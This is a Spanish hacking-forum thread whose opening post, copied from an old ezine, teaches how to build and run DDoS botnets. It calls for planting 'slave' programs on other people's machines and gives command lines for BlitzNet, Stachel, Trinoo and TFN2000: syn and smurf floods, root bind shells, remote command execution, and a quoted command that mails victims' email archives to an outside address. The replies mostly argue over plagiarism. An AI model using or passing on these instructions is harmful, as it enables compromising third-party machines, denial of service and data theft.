hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
10 de Octubre de 2008, 08:32:42
Noticias: ¿No te llega el email de confirmacion?
Para ver este enlace Registrate o Inicia Sesion
> leer aqui

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Hacking (Moderadores: askatasun, HolyKnight, kamui23, ..::Lëssiëm Táralóm::.., - TuX -)
| | |-+  MANUAL: Hacer el ataque de Denegación De Servicio (Syn Flood)
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] 2  Todos Ir Abajo Imprimir
Autor Tema: MANUAL: Hacer el ataque de Denegación De Servicio (Syn Flood)  (Leído 1547 veces)
RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,297


Muestralo con hechos,jamás con palabras


Ver Perfil
« : 29 de Julio de 2007, 07:31:59 »


Este tipo de ataque se basa sobre una tecnica llamado computacion

distrubuida, en la cual y sin la ayuda de un sistema ya programado, se logra

distribuir el esfuerzo o el trabajo computacional que requiera una tarea en

varios equipos o maquinas , consiguiendo de esta forma una menor exigencia

de los requerimientos de cada equipo y de esta forma reduciendo los costos.

 Recientemente se han llevado 2 proyectos muy famosos usando esta tecnica ,

 en primer lugar un proyecto llevado a cabo por SETI en el cual cada usuario

descargaba un programa que descargaba datos obtenidos por

radiotelescopi os del servidor de SETI y eran analizados en busca de señales

de cluturas extraterrestre s , el otro proyecto fue el de romper el DES a la

fuerza bruta mediante una arquitectura también de cliente/servidor similar a

la del SETI y obteniendo exito en muy poco tiempo y aunque el modelo

cliente/servidor es el mas conocido tambien existen otros modelos . Los

beneficios de esta tecnica son obvios y  sin nos podemos a pensar en su

aplicacion al hacking estso se aumentaran al maximo, por ejemplo que tal si

envez de hacer un port-scanning desde nuestra

maquina lo hacemos desde multiples maquinas , pues que obtenemos grandes

 beneficios en cuanto a que la conexion de nuestra maquina no se recargara

mucho y obtendremos un anonimato al ser lo ip fuentes de otras maquinas , el

problema es que si se trata de una causa justa o interesante mucha gente

ofrecera su maquinas, pero si se trata de hacer un mail-bombing no creo que

haya muchas personas esten dispuestas a ayudarnos ; asi que lo que

debemos hacer es basicamente valernos de medios no muy "ortodoxos" para

instalar el programa esclavo en cuantas maquinas podamos y luego desde

nuestro programa maestro manejarlos a todos y conquistar al mundo !, y es

que en realidad no

exagero, imaginense ustedes tener bajo su mando mas de 1000 maquinas

incluyendo servidores y maquinas personales , todos dispuestos a obedecer

nustras ordenes, espectacular !.

Asi que en esto se basa el DDos, en usar la parte " slave " de una utilidad

DDos e instalarla en cuantas maquinas podamos y luego usar el programa "

master " para lanzar un ataque de flood de distintos tipos al server que

queramos y desde cada maquina, aunque el TFN2000 ha ido mas lejos y no

solo podemos lanzar ataques Denial of Service, sino que podemos ejecutar

comandos personalizados, casi como un Backoriffice, pero en cientos de

maquinas !.

Como vemos el concepto es muy simple y se basa en una arquitectura cliente

servidor, en la que tencgo un solo cliente y varios servers dispuestos a seguir

mis ordenes, algo asi :



Aunque el grafico me quedo muy cutre creo que entendieron el concepto Wink

En realidad las posibilidades son fascinantes, es como si nuestro humilde 486

con Modem se convirtiera en todo un servidor IBM con X25 a bordo Smiley seriamos

 David con las herramientas para derrotar a Goliat. Es por eso que aqui en

TCLegion estamos trabajando en una herramienta para computacion

distrubuida y que por el momento permitira hacer Pings , enviar paquetes con

contenido y flags personalizados (OOB?,DONTROUTE?), enviar mail anonimo y

masivo >=) , y hacer port-scaning el cual seria distribuido y anonimo , para

despistar al enemigo >=)

A continuacion y para ver la parte practica de todo esto analizaremos 4

herramientas para DDOS nativas de UNIX (si alguien conoce alguna de

Windows por favos que me escriba y me cuente) :

1. BlitzNet : Creado por phreeon , se compone de varios archivos divididos

principalmente en dos partes, los que van en las maquinas esclavas y los que

van en el server. En las maquinas esclavas debemos copiar los archivos blitzd

y slice2 , el primero es el daemon que detecta cuando nos conectamos y el

segundo es un programa hecho por otro autor que hace un flood de paquetes

syn,

cuando ya tengamos los dos archivos en la maquina debemos ejecutar blitzd

pasandole dos parametros : el puerto en el que queremos que escuche y una

cadena que sera el nombre que use el programa para "esconderse". Y en

nuestra maquina debemos tener los archivos blitz, rush. tcl, strobe y shell.list ,

el primero es el ejecutable del master, pero nosotros debemos ejecutar

rush.tcl, en shell.list debemos poner la lista de maquinas " infectadas " de la

forma ip-port ejemplo 192.9.49.33 31337, cuando el programa encuentre una

linea en blanco dejara de leer shell.list , strobe lo usara el programa para ver

 si nuestros esclavos estan "vivos".

La forma de ejecutar el master sera asi : ./rush.tcl y podemos poner -check si

queremos hacer un scanning para ver cuantos de nuestros esclavos estan

vivos, o si queremos hacer un ataque lo haremos asi :

<source> <dest[,dest]> <start> <stop> <dupes> <duration>

Por ejemplo con :

./rush.tcl 192.43.9.33 0 1 600 10 600

Donde 192.43.9.33 sera la IP victima , el 0 significa que usara un IP fuente

escogido al azar, 1 es el puerto de inicio, 600 el puerto final, el 10 significa que

en cada esclavo creara 10 threads, y el ataque durrara 600 segundos. Como

ven completamente Mortal !.

Si queremos atacar varios targets al tiempo, lo haremos separando las IPs con

comas, ejemplo :

./rush.tcl 192.43.9.33,192.45.89.76,156.23.56.8 0 1 600 10 600

Y Blitznet distrubuira los targets entre las computadoras "atacantes"

Como ven un programa simple pero eficaz. Creado por phreeon@EFnet del

grupo Legend y el nombre del archivo es Blitznet.tar.g z

2.Stachel : utilidad para hacer syn/udp ddos hecha por Randomizer. Para

instalarlo simplemente descomprimimos stachel-yps.tar.gz y ejecutamos make

linux, este ejcutara un programita que nos preguntara por una passphrase,

introducimos el password y este acabara de instalarse. Para instalar el

daemon en las computadoras victmas debemos subir los archivos de la

carpeta client a la maquina y ejecutar el respectivo Make. Ya en nuestra

maquina ejecutaremos mserv y nos mostrara una pantalla de introduccion

donde podremos introducir help y veremos :

available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .mack .mnul .msort
.showalive .madd .mlist .msadd .msrem .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .forceit .left
--------------------------------------------------

Como vemos los comandos son muy descriptivos y quizas los mas interesantes

 son .msyn, micmp, mudp, en resumen una buenta utilidad y una de las

primeras de DDos.

3.Trinoo : Utilidad anonima para hacer smurf ddos . La parte del daemon esta

compuesta solo por un archivo ns.c, asi que simplemente lo subimos a la

maquina lo compilamos y ejecutamos y listo . La parte del master esta como

no, en la carpeta Master , asi que simplemente entramos ahi y ejecutamoes

make, por cierto este programa al igual que stachel usa blowfish como

algoritmo para encriptar las comunicaciones . Luego ejecutamos master y

estaremos frente a un prompt asi : Trinoo> en el cual podremos introducir los

comandos  info - bcast - mping - mtimer - dos - mdos - mdie - quit - nslookup


Los mas improtantes son bcast que nos muestra la lista de todos los

Broadcast atacantes, dos <IP>, que ataca la ip seleccionada, mdos <IP1> ,

<IP2>, <IP3>, etc que ataca varias IP al tiempo y nslookup que nos devuelve

la IP de un hostname.

Una buena utilidad con una buena interfaz .

4.TFN2000 : Tribe Flood Network 2k - Este es el mejor y mas conocido de los

programas analizados, tal vez debe la mayor parte de su fama a su

participacion en los famoso ataques de este año a Yahho , Ebay , etc . Como lo

dice su creador Mixter TFN2K es un programa que usando funcionalidad

distribuida de tipo cliente/servidor, stealth, tecnicas de encripcion y numerosas

funciones mas permite controlar un gran numera de maquinas remotas para

generar por demanda ataques de DOS anonimos y acceso a un shell remoto .

Esta ultima funcion extiende las capacidades de TFN2K para realizar casi

cualquier tipo de tarea en una red distribuida. Otra de sus ventajas es su

compatibilidad con Win32 al poderse compilar con Win32, en realidad su

codigo fuente es una

excelente pieza de estudio para quienes quieran aprender a programas

sockets, excelente !.

Para instalarlo simplemente hacemos un MAKE linux o lo que sea y si todo va

bien tendremos dos archivos td y tfn, td es el server y simplemente debemos

ejecutarlo en un root shell o en nt con privilegios de administrador. El tfn por

supuesto es el cliente y el que nos permitira divertinos un buen rato, lo

primero es especificar los esclavos lo cual lo podemos hacer de dos formas,

con la opcion -h especificamos un solo host, y con la opcion -f podemos

especificar un file en el cual estaran guardados los IPS; el tfn lo debemos

llamar dandole las IPs victimas separadas con @, la opcion -i nos servira

paradarle valor a los parametros del comando que llamemos y -cX nos

permitira usar un total de 10 comandos, puediendo estos ser :

1 : Nos premite controlar que parte de la IP falsa del ataque DOS sera

spoofeada y que parte no lo sera.

2 : Cambia el tamaño de los paquetes del ataque DOS

3 : Inicia un servidor en el puerto que le indiquemos y que iniciara una shell

root cuando nos conectemos a el.

4 : UDP flood attack. Este ataque sirve para explotar el hecho que por cada

paquete UDP que mandemos a un host inalcanzable se respondera un

mensaje ICMP "unreachable message"

5 : Syn flood attack. Todos ya conocemos este clasico ataque que se realizara

de una forma totalmente anonima.

6 : ICMP echo reply (ping) attack. Este ataque envia grandes peticones Ping

con IPs erroneos, provocando la respuesta de paquetes de igual tamaño.

7 : SMURF attack . Envia peticiones Ping con la IP fuente de la victima a

amplificadores broadcast,los cuales responderan con un drastica multiplicacion

del tamaño de los paquetes a la victima.

8 : MIX attack. Envia paquetes UDP,SYN e ICMP intercambiados con una

relacion 1:1:1 los cuales pueden ser peligrosos especialmente para router o

 otros servicios de packet forwading.

9 : TARGA3 attack. Envia paquetes al azar basados en protocolos y valores

que se sabe son criticos y peligrosos, y pueden causar en algunas

implementacion es de la pila de IP un fallo total o algun otro comportamiento

indefinido.

10 : Ejecucion remota del comando que le pasemos con la opcion -i. Muy

interesante!.

Asi si por ejemplo queremos hacer un syn flood a 125.36.56.51 lo hacemos

asi:

tfn -f hosts.txt 125.36.53.51 -c5

O si queremos cambiar el tamaño de los paquetes lo hacemos asi :

tfn -f hosts.txt -c1 -i4

Y si queremos tener una shell en 192.32.56.25 en el puerto 33137 lo hacemos

asi :

tfn -f host.txt 192.32.56.25 -c3 -i33137

Y si queremos divertirnos, he aqui una idea de Mixter :

tfn -f hosts.txt -c10 -i "cat ~mail/* | gzip -c | uuencode -m surprise.gz \ | mail -

s surprise root@intruders.org" or tfn -f hosts.txt -c10 -i "echo better take care,

people could accidentally\

shoot you | mail -s 'a word of warning' president@whitehouse.gov"

Pues esto es todo... Espero que les sirva de ayuda y ya sabeís...

Es cuestión de leerlo y no tener dudas, si teneís dudas preguntarme.

Saludos.
[/b]
« Última modificación: 29 de Julio de 2007, 02:20:17 por RaKi0N » En línea

¿El anonimato? ¿En la red? ¿Tu crees?
alexisg_2007
NZ2
**
Desconectado Desconectado

Mensajes: 119

www.death-crack.net


Ver Perfil WWW
« Respuesta #1 : 29 de Julio de 2007, 08:49:42 »

hola rakion... me gustaria que pongas de donde se saca la info asi no hay confuciones con otras webs ... para no tener problemas  Wink


Para ver este enlace Registrate o Inicia Sesion
http://www.hackemate.com.ar/ezines/trenchcoat_diaries/tcdiaries3/ddos.html


by: Vil Roach
En línea


**Quieres Descargas Directas? Buscas un programa?**


Para ver este enlace Registrate o Inicia Sesion
Death-Crack.net
RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,297


Muestralo con hechos,jamás con palabras


Ver Perfil
« Respuesta #2 : 29 de Julio de 2007, 08:54:12 »

Esa es la web de donde lo saqué
En línea

¿El anonimato? ¿En la red? ¿Tu crees?
RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,297


Muestralo con hechos,jamás con palabras


Ver Perfil
« Respuesta #3 : 29 de Julio de 2007, 09:03:37 »

Bueno, en ningún momento dije que fuese mio.
En línea

¿El anonimato? ¿En la red? ¿Tu crees?
TxShAcK
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,472


Prefiero morir de pie, a vivir arrodillado


Ver Perfil WWW
« Respuesta #4 : 29 de Julio de 2007, 12:33:28 »

Si, siempre se debe incluir la fuente, sino se da a entender que esta echo por ti...

Queda muy feo hacer eso...

Ademas, comienzas el manual diciendo:

Citar
Os explicaré como hacer el ataque DoS Syn flood muy conocido.
.............. .............. .
.............. .............. .
« Última modificación: 29 de Julio de 2007, 12:34:35 por TxShAcK » En línea

Por una red libre de información y sin censuras



"Podrán morir las personas, pero jamas sus ideales"


Para ver este enlace Registrate o Inicia Sesion
Si algún tema del foro te parece inapropiado, crees que debe moverse o cerrarse, repórtalo aquí

(No respondo dudas por MP)
Para ver este enlace Registrate o Inicia Sesion
Reglas
<->
Para ver este enlace Registrate o Inicia Sesion
Subir imagen al foro
RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,297


Muestralo con hechos,jamás con palabras


Ver Perfil
« Respuesta #5 : 29 de Julio de 2007, 01:59:31 »

También es verdad... Sorry.
En línea

¿El anonimato? ¿En la red? ¿Tu crees?
fizgon
Visitante
« Respuesta #6 : 29 de Julio de 2007, 02:09:41 »

También es verdad... Sorry.

Sinembargo no veo ke acomodes el post, el manual sigue estando plagiado....
En línea
alexisg_2007
NZ2
**
Desconectado Desconectado

Mensajes: 119

www.death-crack.net


Ver Perfil WWW
« Respuesta #7 : 29 de Julio de 2007, 05:18:56 »

Sinembargo no veo ke acomodes el post, el manual sigue estando plagiado....
jeje calmaos!... no creo que rakion tenga sangre de plagiador! xD....
pero igual pon lo que dice fizgon antes de que siga esta disputa...
En línea


**Quieres Descargas Directas? Buscas un programa?**


Para ver este enlace Registrate o Inicia Sesion
Death-Crack.net
kr666kr
NZ1
*
Desconectado Desconectado

Mensajes: 37



Ver Perfil
« Respuesta #8 : 30 de Julio de 2007, 08:15:34 »

Eso tampoco hace falta matarlo ,lo canbia y lla esta .

Muchas gracias por el aporte RaKiON
En línea
el fantasma
Visitante
« Respuesta #9 : 02 de Agosto de 2007, 01:50:35 »

buena la informacion lastima que el autor de este post no se molesto en poner que era un copy paste nada mas.

plagio     dedo
En línea
RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,297


Muestralo con hechos,jamás con palabras


Ver Perfil
« Respuesta #10 : 02 de Agosto de 2007, 01:58:06 »

Nadie plagió el manual, el manual no es mio.
En línea

¿El anonimato? ¿En la red? ¿Tu crees?
Nyx
Colaborador
****
Desconectado Desconectado

Mensajes: 370


SELECT * FROM guapos WHERE papito_chulo = 'alde'


Ver Perfil WWW
« Respuesta #11 : 03 de Agosto de 2007, 11:23:39 »

Por favor dejense de niñerias como el autor, ya se puso la fuente gracias a lex, y se puso la informacion gracias a Raki0n no veo por que siguen peleando, lo importante es que todo aportan, cultivan y enriquecen los post.
En línea


Para ver este enlace Registrate o Inicia Sesion
Alguien sabe lo que tu quieres, alguien quiere lo que tu sabes, todo lo que buscas esta en www.h4ck1ng.ne t


Para ver este enlace Registrate o Inicia Sesion

RaKi0N
NZ5
*****
Desconectado Desconectado

Mensajes: 1,297


Muestralo con hechos,jamás con palabras


Ver Perfil
« Respuesta #12 : 03 de Agosto de 2007, 12:34:59 »

Te faltó decir, como el avecrem xDDDDDD
En línea

¿El anonimato? ¿En la red? ¿Tu crees?
HolyKnight
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,284


www.hackerxsiempre.com.ar


Ver Perfil WWW
« Respuesta #13 : 03 de Agosto de 2007, 03:14:16 »

Bastante interesante  Wink
En línea

Holyknight informa que no habrá ningun tipo de tolerancia frente a los post que incumplan las reglas

Para ver este enlace Registrate o Inicia Sesion


Para ver este enlace Registrate o Inicia Sesion
Se Buscan escritores para la Nueva E-Zine de Hacker x Siempre


Para ver este enlace Registrate o Inicia Sesion
Aprende a programar en batch
---
Para ver este enlace Registrate o Inicia Sesion
Descarga el Day of Defeat Full
---
Para ver este enlace Registrate o Inicia Sesion
FAQ de Batch


"El amor auténtico, el amor ideal, el amor del alma, es el que sólo desea la felicidad de la persona amada sin exigirle en pago nuestra propia felicidad."
"Un hombre de noble corazón irá muy lejos, guiado por la palabra gentil de una mujer."
matrix_hc85
NZ2
**
Desconectado Desconectado

Mensajes: 203


pasemonos a linux y seamos libres xD


Ver Perfil
« Respuesta #14 : 20 de Julio de 2008, 07:40:51 »

un DoS es algo diferente a un DDoS-  el titulo que pusistes es un DoS pero el contenido refiere a un DDoS.
En línea

atte zYrox
Páginas: [1] 2  Todos Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online